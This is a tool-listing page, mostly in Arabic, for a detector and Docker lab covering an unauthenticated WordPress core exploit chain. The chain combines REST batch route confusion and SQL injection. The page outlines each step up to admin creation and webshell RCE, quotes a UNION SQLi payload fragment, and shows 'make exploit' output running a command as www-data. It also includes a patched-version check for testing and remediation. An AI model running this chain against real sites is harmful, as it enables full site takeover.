wp2shell-lab — كاشف غير إتلافي + مختبر Docker لأداة wp2shell (التباس مسار REST /batch/v1 CVE-2026-63030 + حقن SQL عبر author__not_in CVE-2026-60137) في نواة ووردبريس 6.9.0-6.9.4 / 7.0.0-7.0.1 | Kitploit

1. Route confusion    — double-nested batch desyncs $matches/$validation so a GET
                        /wp/v2/widgets runs under posts::get_items() (public), reaching
                        WP_Query's author__not_in with attacker-controlled input.

2. Row forgery        — author__not_in is string-concatenated into SQL;
                        "1) AND 1=0 UNION ALL SELECT <23 cols> -- -" injects fake
                        WP_Post rows. per_page=-1 bypasses split_the_query (WP_Query
                        treats -1 as "no limit" → empty $limits → split=false →
                        full SELECT wp_posts.* → UNION columns match).

3. oEmbed write       — forged posts carry [embed]<self-url>[/embed]; rendering via
                        context=view makes WordPress cache real oembed_cache posts in
                        the DB (turns read-only SQLi into writes with predictable IDs).

4. Elevation+re-entry — a forged customize_changeset (user_id = real admin) plus a
                        forged post_type=request row with parent loops drives an
                        in-process re-entrant parse_request in admin context.

5. Admin creation     — POST /wp/v2/users in the same batch passes
                        current_user_can('create_users') → new administrator.

6. RCE                — login → plugin webshell upload → command execution → cleanup.

البدائية	ترميز التشغيل	المصب	المعرّف المتوقع	تم التحقق
oembed	`[embed]<url>[/embed]`	صف `wp_posts` (`oembed_cache`)	`post_name = md5(url+attrs)`	تم إنشاء معرّف المشاركة
rss	`wp:rss {feedURL}`	transient للموقع في `wp_options`	`_site_transient_feed_<md5(url)>`	option_id، 5192 بايت مخزنة
navigation	`wp:navigation`	صف `wp_posts` (`wp_navigation`)	`post_name = 'navigation'` (ثابت)	تم إنشاء المعرّف، slug: navigation
calendar	`wp:calendar`	`wp_options`	`wp_calendar_block_has_published_posts`	option_id، القيمة '1'

make up          # WordPress 6.9.4 (vulnerable) + MySQL 8.0, auto-installed on :8093
make check       # -> [VULNERABLE] http://localhost:8093 (WordPress 6.9.4 ...)
make proof       # -> also reads @@version and current_user() as read-only evidence
make exploit     # -> full pre-auth RCE: creates admin, deploys webshell, runs "id"
make patched     # rebuild on the fixed image and re-check -> [not vulnerable]
make down        # tear down (removes volumes)

$ make check
[VULNERABLE] http://localhost:8093  (WordPress 6.9.4, affected-full-chain)  [active=fired | method=boolean rows(true/false)=5/0 via x-wp-total | delivery=json | slot=users]
        confirmed: unauthenticated SQL injection
        rce: reachable on stock config; additionally requires no persistent object cache (not verified remotely -- the RCE PoC preflights it before writing)

$ make exploit
[*] seeding oEmbed caches ...
[*] extracting table prefix ...
[+] table prefix: wp_
[*] extracting admin user ID ...
[+] admin ID: 1
[*] recovering oEmbed cache post IDs ...
[+] cache IDs: [5, 6, 7]
[*] forging changeset + re-entry, creating administrator ...
[+] administrator created: w2s_...:W2s!...  ([email protected])
[*] logging in, deploying webshell, executing command ...
[+] vulnerable (unauth SQLi confirmed: method=boolean slot=users delivery=json)
[+] RCE output:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

$ make patched
[not vulnerable] http://localhost:8093  (WordPress 7.0.2, outside-affected-range)  [active=negative | method=time fast=0.01s slow=0.01s delta=-0.00s | delivery=json | slot=users]

python3 wp2shell_check.py https://your-site.example --authorized
python3 wp2shell_check.py -f assets.txt --authorized -t 20 --json > results.json
python3 wp2shell_check.py http://127.0.0.1:8093 --proxy http://127.0.0.1:8080

CVE-2026-60137	`WP_Query::author__not_in`	حقن SQL (CWE-89)	9.1
CVE-2026-63030	التباس مسار REST `/batch/v1`	تعارض تفسير (CWE-436) → يتسلسل إلى RCE	7.5

wp2shell-lab

الأكثر شعبية

ما هو في الحقيقة

السلسلة الكاملة (بدون بيانات اعتماد، نقطة دخول واحدة `POST /?rest_route=/batch/v1`)

الأدوات الحاملة للثقل (لماذا تصمد السلسلة)

بدائيات الكتابة في وقت العرض

سلاسل شرطية سابقة (استُبدلت بالسلسلة القياسية الافتراضية أعلاه)

بدء سريع

المخرجات المتوقعة

الأداة (`wp2shell_check.py`)

الاكتشاف (افتراضي)

RCE قبل المصادقة (`-c COMMAND`)

الخيارات

المعالجة

الاعتمادات

المراجع

الترخيص